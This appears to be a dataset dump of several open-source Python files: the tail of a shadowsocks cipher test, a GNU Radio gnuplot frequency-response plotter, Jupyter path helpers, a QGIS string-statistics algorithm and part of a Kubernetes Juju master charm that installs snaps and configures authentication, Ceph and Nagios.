14, 134, 161, 238, 30, 241, 37, 224, 166, 45, 119, 109, 202, 196, 93,
190, 220, 69, 49, 21, 228, 209, 60, 73, 99, 65, 102, 7, 229, 200, 19,
82, 240, 71, 105, 169, 214, 194, 64, 142, 12, 233, 88, 201, 11, 72,
92, 221, 27, 32, 176, 124, 205, 189, 177, 246, 35, 112, 219, 61, 129,
170, 173, 100, 84, 242, 157, 26, 218, 20, 33, 191, 155, 232, 87, 86,
153, 114, 97, 130, 29, 192, 164, 239, 90, 43, 236, 208, 212, 185, 75,
210, 0, 81, 227, 5, 116, 243, 34, 18, 182, 70, 181, 197, 217, 95, 183,
101, 252, 248, 107, 89, 136, 216, 203, 68, 91, 223, 96, 141, 150, 131,
13, 152, 198, 111, 44, 222, 125, 244, 76, 251, 158, 106, 24, 42, 38,
77, 2, 213, 207, 249, 147, 113, 135, 245, 118, 193, 47, 98, 145, 66,
160, 123, 211, 165, 78, 204, 80, 250, 110, 162, 48, 58, 10, 180, 55,
231, 79, 149, 74, 62, 50, 148, 143, 206, 28, 15, 57, 159, 139, 225,
122, 237, 138, 171, 36, 56, 115, 63, 144, 154, 6, 230, 133, 215, 41,
184, 22, 104, 254, 234, 253, 187, 226, 247, 188, 156, 151, 40, 108,
51, 83, 178, 52, 3, 31, 255, 195, 53, 235, 126, 167, 120]]
encrypt_table = b''.join(get_table(b'foobar!'))
decrypt_table = maketrans(encrypt_table, maketrans(b'', b''))
for i in range(0, 256):
assert (target1[0][i] == ord(encrypt_table[i]))
assert (target1[1][i] == ord(decrypt_table[i]))
encrypt_table = b''.join(get_table(b'barfoo!'))
decrypt_table = maketrans(encrypt_table, maketrans(b'', b''))
for i in range(0, 256):
assert (target2[0][i] == ord(encrypt_table[i]))
assert (target2[1][i] == ord(decrypt_table[i]))
def test_encryption():
from shadowsocks.crypto import util
cipher = TableCipher('table', b'test', b'', 1)
decipher = TableCipher('table', b'test', b'', 0)
util.run_cipher(cipher, decipher)
if __name__ == '__main__':
test_table_result()
test_encryption()
| apache-2.0 |
EttusResearch/gnuradio | gnuradio-runtime/python/gnuradio/gru/gnuplot_freqz.py | 59 | 4137 | #!/usr/bin/env python
#
# Copyright 2005,2007 Free Software Foundation, Inc.
#
# This file is part of GNU Radio
#
# GNU Radio is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3, or (at your option)
# any later version.
#
# GNU Radio is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with GNU Radio; see the file COPYING. If not, write to
# the Free Software Foundation, Inc., 51 Franklin Street,
# Boston, MA 02110-1301, USA.
#
__all__ = ['gnuplot_freqz']
import tempfile
import os
import math
import numpy
from gnuradio import gr
from gnuradio.gru.freqz import freqz
def gnuplot_freqz (hw, Fs=None, logfreq=False):
"""hw is a tuple of the form (h, w) where h is sequence of complex
freq responses, and w is a sequence of corresponding frequency
points. Plot the frequency response using gnuplot. If Fs is
provide, use it as the sampling frequency, else use 2*pi.
Returns a handle to the gnuplot graph. When the handle is reclaimed
the graph is torn down."""
data_file = tempfile.NamedTemporaryFile ()
cmd_file = os.popen ('gnuplot', 'w')
h, w = hw
ampl = 20 * numpy.log10 (numpy.absolute (h) + 1e-9)
phase = map (lambda x: math.atan2 (x.imag, x.real), h)
if Fs:
w *= (Fs/(2*math.pi))
for freq, a, ph in zip (w, ampl, phase):
data_file.write ("%g\t%g\t%g\n" % (freq, a, ph))
data_file.flush ()
cmd_file.write ("set grid\n")
if logfreq:
cmd_file.write ("set logscale x\n")
else:
cmd_file.write ("unset logscale x\n")
cmd_file.write ("plot '%s' using 1:2 with lines\n" % (data_file.name,))
cmd_file.flush ()
return (cmd_file, data_file)
def test_plot ():
sample_rate = 2.0e6
#taps = firdes.low_pass(1, sample_rate, 200000, 100000, firdes.WIN_HAMMING)
taps = (0.0007329441141337156, 0.0007755281985737383, 0.0005323155201040208,
-7.679847761841656e-19, -0.0007277769618667662, -0.001415981911122799,
-0.0017135187517851591, -0.001282231998629868, 1.61239866282397e-18,
0.0018589380197227001, 0.0035909228026866913, 0.004260237794369459,
0.00310456077568233, -3.0331308923229716e-18, -0.004244099836796522,
-0.007970594801008701, -0.009214458055794239, -0.006562007591128349,
4.714311174044374e-18, 0.008654761128127575, 0.01605774275958538,
0.01841980405151844, 0.013079923577606678, -6.2821650235090215e-18,
-0.017465557903051376, -0.032989680767059326, -0.03894065320491791,
-0.028868533670902252, 7.388111706347014e-18, 0.04517475143074989,
0.09890196472406387, 0.14991308748722076, 0.18646684288978577,
0.19974154233932495, 0.18646684288978577, 0.14991308748722076,
0.09890196472406387, 0.04517475143074989, 7.388111706347014e-18,
-0.028868533670902252, -0.03894065320491791, -0.032989680767059326,
-0.017465557903051376, -6.2821650235090215e-18, 0.013079923577606678,
0.01841980405151844, 0.01605774275958538, 0.008654761128127575,
4.714311174044374e-18, -0.006562007591128349, -0.009214458055794239,
-0.007970594801008701, -0.004244099836796522, -3.0331308923229716e-18,
0.00310456077568233, 0.004260237794369459, 0.0035909228026866913,
0.0018589380197227001, 1.61239866282397e-18, -0.001282231998629868,
-0.0017135187517851591, -0.001415981911122799, -0.0007277769618667662,
-7.679847761841656e-19, 0.0005323155201040208, 0.0007755281985737383,
0.0007329441141337156)
# print len (taps)
return gnuplot_freqz (freqz (taps, 1), sample_rate)
if __name__ == '__main__':
handle = test_plot ()
raw_input ('Press Enter to continue: ')
| gpl-3.0 |
bdh1011/wau | venv/lib/python2.7/site-packages/jupyter_core/paths.py | 5 | 4762 | # encoding: utf-8
"""Path utility functions."""
# Copyright (c) Jupyter Development Team.
# Distributed under the terms of the Modified BSD License.
# Derived from IPython.utils.path, which is
# Copyright (c) IPython Development Team.
# Distributed under the terms of the Modified BSD License.
import os
import sys
pjoin = os.path.join
def get_home_dir():
"""Get the real path of the home directory"""
homedir = os.path.expanduser('~')
# Next line will make things work even when /home/ is a symlink to
# /usr/home as it is on FreeBSD, for example
homedir = os.path.realpath(homedir)
return homedir
def jupyter_config_dir():
"""Get the Jupyter config directory for this platform and user.
Returns JUPYTER_CONFIG_DIR if defined, else ~/.jupyter
"""
env = os.environ
home_dir = get_home_dir()
if env.get('JUPYTER_CONFIG_DIR'):
return env['JUPYTER_CONFIG_DIR']
return pjoin(home_dir, '.jupyter')
def jupyter_data_dir():
"""Get the config directory for Jupyter data files.
These are non-transient, non-configuration files.
Returns JUPYTER_DATA_DIR if defined, else a platform-appropriate path.
"""
env = os.environ
if env.get('JUPYTER_DATA_DIR'):
return env['JUPYTER_DATA_DIR']
home = get_home_dir()
if sys.platform == 'darwin':
return os.path.join(home, 'Library', 'Jupyter')
elif os.name == 'nt':
appdata = os.environ.get('APPDATA', None)
if appdata:
return pjoin(appdata, 'jupyter')
else:
return pjoin(jupyter_config_dir(), 'data')
else:
# Linux, non-OS X Unix, AIX, etc.
xdg = env.get("XDG_DATA_HOME", None)
if not xdg:
xdg = pjoin(home, '.local', 'share')
return pjoin(xdg, 'jupyter')
def jupyter_runtime_dir():
"""Return the runtime dir for transient jupyter files.
Returns JUPYTER_RUNTIME_DIR if defined.
Respects XDG_RUNTIME_DIR on non-OS X, non-Windows,
falls back on data_dir/runtime otherwise.
"""
env = os.environ
if env.get('JUPYTER_RUNTIME_DIR'):
return env['JUPYTER_RUNTIME_DIR']
if sys.platform == 'darwin':
return pjoin(jupyter_data_dir(), 'runtime')
elif os.name == 'nt':
return pjoin(jupyter_data_dir(), 'runtime')
else:
# Linux, non-OS X Unix, AIX, etc.
xdg = env.get("XDG_RUNTIME_DIR", None)
if xdg:
return pjoin(xdg, 'jupyter')
return pjoin(jupyter_data_dir(), 'runtime')
if os.name == 'nt':
programdata = os.environ.get('PROGRAMDATA', None)
if programdata:
SYSTEM_JUPYTER_PATH = [pjoin(programdata, 'jupyter')]
else: # PROGRAMDATA is not defined by default on XP.
SYSTEM_JUPYTER_PATH = [os.path.join(sys.prefix, 'share', 'jupyter')]
else:
SYSTEM_JUPYTER_PATH = [
"/usr/local/share/jupyter",
"/usr/share/jupyter",
]
ENV_JUPYTER_PATH = [os.path.join(sys.prefix, 'share', 'jupyter')]
def jupyter_path(*subdirs):
"""Return a list of directories to search for data files
JUPYTER_PATH environment variable has highest priority.
If *subdirs are given, that subdirectory will be added to each element.
Examples:
>>> jupyter_path()
['~/.local/jupyter', '/usr/local/share/jupyter']
>>> jupyter_path('kernels')
['~/.local/jupyter/kernels', '/usr/local/share/jupyter/kernels']
"""
paths = []
# highest priority is env
if os.environ.get('JUPYTER_PATH'):
paths.extend(
p.rstrip(os.sep)
for p in os.environ['JUPYTER_PATH'].split(os.pathsep)
)
# then user dir
paths.append(jupyter_data_dir())
# then sys.prefix
for p in ENV_JUPYTER_PATH:
if p not in SYSTEM_JUPYTER_PATH:
paths.append(p)
# finally, system
paths.extend(SYSTEM_JUPYTER_PATH)
# add subdir, if requested
if subdirs:
paths = [ pjoin(p, *subdirs) for p in paths ]
return paths
if os.name == 'nt':
programdata = os.environ.get('PROGRAMDATA', None)
if programdata:
SYSTEM_CONFIG_PATH = [os.path.join(programdata, 'jupyter')]
else: # PROGRAMDATA is not defined by default on XP.
SYSTEM_CONFIG_PATH = []
else:
SYSTEM_CONFIG_PATH = [
"/usr/local/etc/jupyter",
"/etc/jupyter",
]
ENV_CONFIG_PATH = [os.path.join(sys.prefix, 'etc', 'jupyter')]
def jupyter_config_path():
"""Return the search path for Jupyter config files as a list."""
paths = [jupyter_config_dir()]
for p in ENV_CONFIG_PATH:
if p not in SYSTEM_CONFIG_PATH:
paths.append(p)
paths.extend(SYSTEM_CONFIG_PATH)
return paths
| mit |
herow/planning_qgis | python/plugins/processing/algs/qgis/BasicStatisticsStrings.py | 6 | 5524 | # -*- coding: utf-8 -*-
"""
***************************************************************************
BasicStatisticsStrings.py
---------------------
Date : September 2012
Copyright : (C) 2012 by Victor Olaya
Email : volayaf at gmail dot com
***************************************************************************
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
***************************************************************************
"""
__author__ = 'Victor Olaya'
__date__ = 'September 2012'
__copyright__ = '(C) 2012, Victor Olaya'
# This will get replaced with a git SHA1 when you do a git archive
__revision__ = '$Format:%H$'
import codecs
from processing.core.GeoAlgorithm import GeoAlgorithm
from processing.core.parameters import ParameterVector
from processing.core.parameters import ParameterTableField
from processing.core.outputs import OutputHTML
from processing.core.outputs import OutputNumber
from processing.tools import dataobjects, vector
class BasicStatisticsStrings(GeoAlgorithm):
INPUT_LAYER = 'INPUT_LAYER'
FIELD_NAME = 'FIELD_NAME'
OUTPUT_HTML_FILE = 'OUTPUT_HTML_FILE'
MIN_LEN = 'MIN_LEN'
MAX_LEN = 'MAX_LEN'
MEAN_LEN = 'MEAN_LEN'
COUNT = 'COUNT'
EMPTY = 'EMPTY'
FILLED = 'FILLED'
UNIQUE = 'UNIQUE'
def defineCharacteristics(self):
self.name = 'Basic statistics for text fields'
self.group = 'Vector table tools'
self.addParameter(ParameterVector(self.INPUT_LAYER,
self.tr('Input vector layer'),
ParameterVector.VECTOR_TYPE_ANY, False))
self.addParameter(ParameterTableField(self.FIELD_NAME,
self.tr('Field to calculate statistics on'),
self.INPUT_LAYER, ParameterTableField.DATA_TYPE_STRING))
self.addOutput(OutputHTML(self.OUTPUT_HTML_FILE,
self.tr('Statistics for text field')))
self.addOutput(OutputNumber(self.MIN_LEN, self.tr('Minimum length')))
self.addOutput(OutputNumber(self.MAX_LEN, self.tr('Maximum length')))
self.addOutput(OutputNumber(self.MEAN_LEN, self.tr('Mean length')))
self.addOutput(OutputNumber(self.COUNT, self.tr('Count')))
self.addOutput(OutputNumber(self.EMPTY, self.tr('Number of empty values')))
self.addOutput(OutputNumber(self.FILLED, self.tr('Number of non-empty values')))
self.addOutput(OutputNumber(self.UNIQUE, self.tr('Number of unique values')))
def processAlgorithm(self, progress):
layer = dataobjects.getObjectFromUri(
self.getParameterValue(self.INPUT_LAYER))
fieldName = self.getParameterValue(self.FIELD_NAME)
outputFile = self.getOutputValue(self.OUTPUT_HTML_FILE)
index = layer.fieldNameIndex(fieldName)
sumValue = 0
minValue = 0
maxValue = 0
meanValue = 0
countEmpty = 0
countFilled = 0
isFirst = True
values = []
features = vector.features(layer)
count = len(features)
total = 100.0 / float(count)
current = 0
for ft in features:
length = float(len(ft.attributes()[index]))
if isFirst:
minValue = length
maxValue = length
isFirst = False
else:
if length < minValue:
minValue = length
if length > maxValue:
maxValue = length
if length != 0.00:
countFilled += 1
else:
countEmpty += 1
values.append(length)
sumValue += length
current += 1
progress.setPercentage(int(current * total))
n = float(len(values))
if n > 0:
meanValue = sumValue / n
uniqueValues = vector.getUniqueValuesCount(layer, index)
data = []
data.append('Minimum length: ' + unicode(minValue))
data.append('Maximum length: ' + unicode(maxValue))
data.append('Mean length: ' + unicode(meanValue))
data.append('Filled: ' + unicode(countFilled))
data.append('Empty: ' + unicode(countEmpty))
data.append('Count: ' + unicode(count))
data.append('Unique: ' + unicode(uniqueValues))
self.createHTML(outputFile, data)
self.setOutputValue(self.MIN_LEN, minValue)
self.setOutputValue(self.MAX_LEN, maxValue)
self.setOutputValue(self.MEAN_LEN, meanValue)
self.setOutputValue(self.FILLED, countFilled)
self.setOutputValue(self.EMPTY, countEmpty)
self.setOutputValue(self.COUNT, count)
self.setOutputValue(self.UNIQUE, uniqueValues)
def createHTML(self, outputFile, algData):
f = codecs.open(outputFile, 'w', encoding='utf-8')
f.write('<html><head>')
f.write('<meta http-equiv="Content-Type" content="text/html; \
charset=utf-8" /></head><body>')
for s in algData:
f.write('<p>' + str(s) + '</p>')
f.write('</body></html>')
f.close()
| gpl-2.0 |
pmorie/origin | cmd/service-catalog/go/src/github.com/kubernetes-incubator/service-catalog/vendor/k8s.io/kubernetes/cluster/juju/layers/kubernetes-master/reactive/kubernetes_master.py | 31 | 32680 | #!/usr/bin/env python
# Copyright 2015 The Kubernetes Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import base64
import os
import re
import random
import shutil
import socket
import string
import json
import charms.leadership
from shlex import split
from subprocess import check_call
from subprocess import check_output
from subprocess import CalledProcessError
from charms import layer
from charms.layer import snap
from charms.reactive import hook
from charms.reactive import remove_state
from charms.reactive import set_state
from charms.reactive import is_state
from charms.reactive import when, when_any, when_not
from charms.reactive.helpers import data_changed
from charms.kubernetes.common import get_version
from charms.kubernetes.common import retry
from charms.kubernetes.flagmanager import FlagManager
from charmhelpers.core import hookenv
from charmhelpers.core import host
from charmhelpers.core import unitdata
from charmhelpers.core.templating import render
from charmhelpers.fetch import apt_install
from charmhelpers.contrib.charmsupport import nrpe
# Override the default nagios shortname regex to allow periods, which we
# need because our bin names contain them (e.g. 'snap.foo.daemon'). The
# default regex in charmhelpers doesn't allow periods, but nagios itself does.
nrpe.Check.shortname_re = '[\.A-Za-z0-9-_]+$'
os.environ['PATH'] += os.pathsep + os.path.join(os.sep, 'snap', 'bin')
def service_cidr():
''' Return the charm's service-cidr config '''
db = unitdata.kv()
frozen_cidr = db.get('kubernetes-master.service-cidr')
return frozen_cidr or hookenv.config('service-cidr')
def freeze_service_cidr():
''' Freeze the service CIDR. Once the apiserver has started, we can no
longer safely change this value. '''
db = unitdata.kv()
db.set('kubernetes-master.service-cidr', service_cidr())
@hook('upgrade-charm')
def reset_states_for_delivery():
'''An upgrade charm event was triggered by Juju, react to that here.'''
migrate_from_pre_snaps()
install_snaps()
remove_state('authentication.setup')
remove_state('kubernetes-master.components.started')
def rename_file_idempotent(source, destination):
if os.path.isfile(source):
os.rename(source, destination)
def migrate_from_pre_snaps():
# remove old states
remove_state('kubernetes.components.installed')
remove_state('kubernetes.dashboard.available')
remove_state('kube-dns.available')
remove_state('kubernetes-master.app_version.set')
# disable old services
services = ['kube-apiserver',
'kube-controller-manager',
'kube-scheduler']
for service in services:
hookenv.log('Stopping {0} service.'.format(service))
host.service_stop(service)
# rename auth files
os.makedirs('/root/cdk', exist_ok=True)
rename_file_idempotent('/etc/kubernetes/serviceaccount.key',
'/root/cdk/serviceaccount.key')
rename_file_idempotent('/srv/kubernetes/basic_auth.csv',
'/root/cdk/basic_auth.csv')
rename_file_idempotent('/srv/kubernetes/known_tokens.csv',
'/root/cdk/known_tokens.csv')
# cleanup old files
files = [
"/lib/systemd/system/kube-apiserver.service",
"/lib/systemd/system/kube-controller-manager.service",
"/lib/systemd/system/kube-scheduler.service",
"/etc/default/kube-defaults",
"/etc/default/kube-apiserver.defaults",
"/etc/default/kube-controller-manager.defaults",
"/etc/default/kube-scheduler.defaults",
"/srv/kubernetes",
"/home/ubuntu/kubectl",
"/usr/local/bin/kubectl",
"/usr/local/bin/kube-apiserver",
"/usr/local/bin/kube-controller-manager",
"/usr/local/bin/kube-scheduler",
"/etc/kubernetes"
]
for file in files:
if os.path.isdir(file):
hookenv.log("Removing directory: " + file)
shutil.rmtree(file)
elif os.path.isfile(file):
hookenv.log("Removing file: " + file)
os.remove(file)
# clear the flag managers
FlagManager('kube-apiserver').destroy_all()
FlagManager('kube-controller-manager').destroy_all()
FlagManager('kube-scheduler').destroy_all()
def install_snaps():
channel = hookenv.config('channel')
hookenv.status_set('maintenance', 'Installing kubectl snap')
snap.install('kubectl', channel=channel, classic=True)
hookenv.status_set('maintenance', 'Installing kube-apiserver snap')
snap.install('kube-apiserver', channel=channel)
hookenv.status_set('maintenance',
'Installing kube-controller-manager snap')
snap.install('kube-controller-manager', channel=channel)
hookenv.status_set('maintenance', 'Installing kube-scheduler snap')
snap.install('kube-scheduler', channel=channel)
hookenv.status_set('maintenance', 'Installing cdk-addons snap')
snap.install('cdk-addons', channel=channel)
set_state('kubernetes-master.snaps.installed')
@when('config.changed.channel')
def channel_changed():
install_snaps()
@when('cni.connected')
@when_not('cni.configured')
def configure_cni(cni):
''' Set master configuration on the CNI relation. This lets the CNI
subordinate know that we're the master so it can respond accordingly. '''
cni.set_config(is_master=True, kubeconfig_path='')
@when('leadership.is_leader')
@when_not('authentication.setup')
def setup_leader_authentication():
'''Setup basic authentication and token access for the cluster.'''
api_opts = FlagManager('kube-apiserver')
controller_opts = FlagManager('kube-controller-manager')
service_key = '/root/cdk/serviceaccount.key'
basic_auth = '/root/cdk/basic_auth.csv'
known_tokens = '/root/cdk/known_tokens.csv'
api_opts.add('basic-auth-file', basic_auth)
api_opts.add('token-auth-file', known_tokens)
hookenv.status_set('maintenance', 'Rendering authentication templates.')
keys = [service_key, basic_auth, known_tokens]
# Try first to fetch data from an old leadership broadcast.
if not get_keys_from_leader(keys):
if not os.path.isfile(basic_auth):
setup_basic_auth('admin', 'admin', 'admin')
if not os.path.isfile(known_tokens):
setup_tokens(None, 'admin', 'admin')
setup_tokens(None, 'kubelet', 'kubelet')
setup_tokens(None, 'kube_proxy', 'kube_proxy')
# Generate the default service account token key
os.makedirs('/root/cdk', exist_ok=True)
if not os.path.isfile(service_key):
cmd = ['openssl', 'genrsa', '-out', service_key,
'2048']
check_call(cmd)
api_opts.add('service-account-key-file', service_key)
controller_opts.add('service-account-private-key-file', service_key)
# read service account key for syndication
leader_data = {}
for f in [known_tokens, basic_auth, service_key]:
with open(f, 'r') as fp:
leader_data[f] = fp.read()
# this is slightly opaque, but we are sending file contents under its file
# path as a key.
# eg:
# {'/root/cdk/serviceaccount.key': 'RSA:2471731...'}
charms.leadership.leader_set(leader_data)
set_state('authentication.setup')
@when_not('leadership.is_leader')
@when_not('authentication.setup')
def setup_non_leader_authentication():
api_opts = FlagManager('kube-apiserver')
controller_opts = FlagManager('kube-controller-manager')
service_key = '/root/cdk/serviceaccount.key'
basic_auth = '/root/cdk/basic_auth.csv'
known_tokens = '/root/cdk/known_tokens.csv'
hookenv.status_set('maintenance', 'Rendering authentication templates.')
keys = [service_key, basic_auth, known_tokens]
if not get_keys_from_leader(keys):
# the keys were not retrieved. Non-leaders have to retry.
return
api_opts.add('basic-auth-file', basic_auth)
api_opts.add('token-auth-file', known_tokens)
api_opts.add('service-account-key-file', service_key)
controller_opts.add('service-account-private-key-file', service_key)
set_state('authentication.setup')
def get_keys_from_leader(keys):
"""
Gets the broadcasted keys from the leader and stores them in
the corresponding files.
Args:
keys: list of keys. Keys are actually files on the FS.
Returns: True if all key were fetched, False if not.
"""
# This races with other codepaths, and seems to require being created first
# This block may be extracted later, but for now seems to work as intended
os.makedirs('/root/cdk', exist_ok=True)
for k in keys:
# If the path does not exist, assume we need it
if not os.path.exists(k):
# Fetch data from leadership broadcast
contents = charms.leadership.leader_get(k)
# Default to logging the warning and wait for leader data to be set
if contents is None:
msg = "Waiting on leaders crypto keys."
hookenv.status_set('waiting', msg)
hookenv.log('Missing content for file {}'.format(k))
return False
# Write out the file and move on to the next item
with open(k, 'w+') as fp:
fp.write(contents)
return True
@when('kubernetes-master.snaps.installed')
def set_app_version():
''' Declare the application version to juju '''
version = check_output(['kube-apiserver', '--version'])
hookenv.application_version_set(version.split(b' v')[-1].rstrip())
@when('cdk-addons.configured', 'kube-api-endpoint.available',
'kube-control.connected')
def idle_status(kube_api, kube_control):
''' Signal at the end of the run that we are running. '''
if not all_kube_system_pods_running():
hookenv.status_set('waiting', 'Waiting for kube-system pods to start')
elif hookenv.config('service-cidr') != service_cidr():
msg = 'WARN: cannot change service-cidr, still using ' + service_cidr()
hookenv.status_set('active', msg)
else:
hookenv.status_set('active', 'Kubernetes master running.')
@when('etcd.available', 'tls_client.server.certificate.saved',
'authentication.setup')
@when_not('kubernetes-master.components.started')
def start_master(etcd):
'''Run the Kubernetes master components.'''
hookenv.status_set('maintenance',
'Configuring the Kubernetes master services.')
freeze_service_cidr()
handle_etcd_relation(etcd)
configure_master_services()
hookenv.status_set('maintenance',
'Starting the Kubernetes master services.')
services = ['kube-apiserver',
'kube-controller-manager',
'kube-scheduler']
for service in services:
host.service_restart('snap.%s.daemon' % service)
hookenv.open_port(6443)
set_state('kubernetes-master.components.started')
@when('etcd.available')
def etcd_data_change(etcd):
''' Etcd scale events block master reconfiguration due to the
kubernetes-master.components.started state. We need a way to
handle these events consistenly only when the number of etcd
units has actually changed '''
# key off of the connection string
connection_string = etcd.get_connection_string()
# If the connection string changes, remove the started state to trigger
# handling of the master components
if data_changed('etcd-connect', connection_string):
remove_state('kubernetes-master.components.started')
@when('kube-control.connected')
@when('cdk-addons.configured')
def send_cluster_dns_detail(kube_control):
''' Send cluster DNS info '''
# Note that the DNS server doesn't necessarily exist at this point. We know
# where we're going to put it, though, so let's send the info anyway.
dns_ip = get_dns_ip()
kube_control.set_dns(53, hookenv.config('dns_domain'), dns_ip)
@when_not('kube-control.connected')
def missing_kube_control():
"""Inform the operator they need to add the kube-control relation.
If deploying via bundle this won't happen, but if operator is upgrading a
a charm in a deployment that pre-dates the kube-control relation, it'll be
missing.
"""
hookenv.status_set(
'blocked',
'Relate {}:kube-control kubernetes-worker:kube-control'.format(
hookenv.service_name()))
@when('kube-api-endpoint.available')
def push_service_data(kube_api):
''' Send configuration to the load balancer, and close access to the
public interface '''
kube_api.configure(port=6443)
@when('certificates.available')
def send_data(tls):
'''Send the data that is required to create a server certificate for
this server.'''
# Use the public ip of this unit as the Common Name for the certificate.
common_name = hookenv.unit_public_ip()
# Get the SDN gateway based on the cidr address.
kubernetes_service_ip = get_kubernetes_service_ip()
domain = hookenv.config('dns_domain')
# Create SANs that the tls layer will add to the server cert.
sans = [
hookenv.unit_public_ip(),
hookenv.unit_private_ip(),
socket.gethostname(),
kubernetes_service_ip,
'kubernetes',
'kubernetes.{0}'.format(domain),
'kubernetes.default',
'kubernetes.default.svc',
'kubernetes.default.svc.{0}'.format(domain)
]
# Create a path safe name by removing path characters from the unit name.
certificate_name = hookenv.local_unit().replace('/', '_')
# Request a server cert with this information.
tls.request_server_cert(common_name, sans, certificate_name)
@when('kube-api.connected')
def push_api_data(kube_api):
''' Send configuration to remote consumer.'''
# Since all relations already have the private ip address, only
# send the port on the relation object to all consumers.
# The kubernetes api-server uses 6443 for the default secure port.
kube_api.set_api_port('6443')
@when('kubernetes-master.components.started')
def configure_cdk_addons():
''' Configure CDK addons '''
remove_state('cdk-addons.configured')
dbEnabled = str(hookenv.config('enable-dashboard-addons')).lower()
args = [
'arch=' + arch(),
'dns-ip=' + get_dns_ip(),
'dns-domain=' + hookenv.config('dns_domain'),
'enable-dashboard=' + dbEnabled
]
check_call(['snap', 'set', 'cdk-addons'] + args)
if not addons_ready():
hookenv.status_set('waiting', 'Waiting to retry addon deployment')
remove_state('cdk-addons.configured')
return
set_state('cdk-addons.configured')
@retry(times=3, delay_secs=20)
def addons_ready():
"""
Test if the add ons got installed
Returns: True is the addons got applied
"""
try:
check_call(['cdk-addons.apply'])
return True
except CalledProcessError:
hookenv.log("Addons are not ready yet.")
return False
@when('loadbalancer.available', 'certificates.ca.available',
'certificates.client.cert.available')
def loadbalancer_kubeconfig(loadbalancer, ca, client):
# Get the potential list of loadbalancers from the relation object.
hosts = loadbalancer.get_addresses_ports()
# Get the public address of loadbalancers so users can access the cluster.
address = hosts[0].get('public-address')
# Get the port of the loadbalancer so users can access the cluster.
port = hosts[0].get('port')
server = 'https://{0}:{1}'.format(address, port)
build_kubeconfig(server)
@when('certificates.ca.available', 'certificates.client.cert.available')
@when_not('loadbalancer.available')
def create_self_config(ca, client):
'''Create a kubernetes configuration for the master unit.'''
server = 'https://{0}:{1}'.format(hookenv.unit_get('public-address'), 6443)
build_kubeconfig(server)
@when('ceph-storage.available')
def ceph_state_control(ceph_admin):
''' Determine if we should remove the state that controls the re-render
and execution of the ceph-relation-changed event because there
are changes in the relationship data, and we should re-render any
configs, keys, and/or service pre-reqs '''
ceph_relation_data = {
'mon_hosts': ceph_admin.mon_hosts(),
'fsid': ceph_admin.fsid(),
'auth_supported': ceph_admin.auth(),
'hostname': socket.gethostname(),
'key': ceph_admin.key()
}
# Re-execute the rendering if the data has changed.
if data_changed('ceph-config', ceph_relation_data):
remove_state('ceph-storage.configured')
@when('ceph-storage.available')
@when_not('ceph-storage.configured')
def ceph_storage(ceph_admin):
'''Ceph on kubernetes will require a few things - namely a ceph
configuration, and the ceph secret key file used for authentication.
This method will install the client package, and render the requisit files
in order to consume the ceph-storage relation.'''
ceph_context = {
'mon_hosts': ceph_admin.mon_hosts(),
'fsid': ceph_admin.fsid(),
'auth_supported': ceph_admin.auth(),
'use_syslog': "true",
'ceph_public_network': '',
'ceph_cluster_network': '',
'loglevel': 1,
'hostname': socket.gethostname(),
}
# Install the ceph common utilities.
apt_install(['ceph-common'], fatal=True)
etc_ceph_directory = '/etc/ceph'
if not os.path.isdir(etc_ceph_directory):
os.makedirs(etc_ceph_directory)
charm_ceph_conf = os.path.join(etc_ceph_directory, 'ceph.conf')
# Render the ceph configuration from the ceph conf template
render('ceph.conf', charm_ceph_conf, ceph_context)
# The key can rotate independently of other ceph config, so validate it
admin_key = os.path.join(etc_ceph_directory,
'ceph.client.admin.keyring')
try:
with open(admin_key, 'w') as key_file:
key_file.write("[client.admin]\n\tkey = {}\n".format(
ceph_admin.key()))
except IOError as err:
hookenv.log("IOError writing admin.keyring: {}".format(err))
# Enlist the ceph-admin key as a kubernetes secret
if ceph_admin.key():
encoded_key = base64.b64encode(ceph_admin.key().encode('utf-8'))
else:
# We didn't have a key, and cannot proceed. Do not set state and
# allow this method to re-execute
return
context = {'secret': encoded_key.decode('ascii')}
render('ceph-secret.yaml', '/tmp/ceph-secret.yaml', context)
try:
# At first glance this is deceptive. The apply stanza will create if
# it doesn't exist, otherwise it will update the entry, ensuring our
# ceph-secret is always reflective of what we have in /etc/ceph
# assuming we have invoked this anytime that file would change.
cmd = ['kubectl', 'apply', '-f', '/tmp/ceph-secret.yaml']
check_call(cmd)
os.remove('/tmp/ceph-secret.yaml')
except:
# the enlistment in kubernetes failed, return and prepare for re-exec
return
# when complete, set a state relating to configuration of the storage
# backend that will allow other modules to hook into this and verify we
# have performed the necessary pre-req steps to interface with a ceph
# deployment.
set_state('ceph-storage.configured')
@when('nrpe-external-master.available')
@when_not('nrpe-external-master.initial-config')
def initial_nrpe_config(nagios=None):
set_state('nrpe-external-master.initial-config')
update_nrpe_config(nagios)
@when('kubernetes-master.components.started')
@when('nrpe-external-master.available')
@when_any('config.changed.nagios_context',
'config.changed.nagios_servicegroups')
def update_nrpe_config(unused=None):
services = (
'snap.kube-apiserver.daemon',
'snap.kube-controller-manager.daemon',
'snap.kube-scheduler.daemon'
)
hostname = nrpe.get_nagios_hostname()
current_unit = nrpe.get_nagios_unit_name()
nrpe_setup = nrpe.NRPE(hostname=hostname)
nrpe.add_init_service_checks(nrpe_setup, services, current_unit)
nrpe_setup.write()
@when_not('nrpe-external-master.available')
@when('nrpe-external-master.initial-config')
def remove_nrpe_config(nagios=None):
remove_state('nrpe-external-master.initial-config')
# List of systemd services for which the checks will be removed
services = (
'snap.kube-apiserver.daemon',
'snap.kube-controller-manager.daemon',
'snap.kube-scheduler.daemon'
)
# The current nrpe-external-master interface doesn't handle a lot of logic,
# use the charm-helpers code for now.
hostname = nrpe.get_nagios_hostname()
nrpe_setup = nrpe.NRPE(hostname=hostname)
for service in services:
nrpe_setup.remove_check(shortname=service)
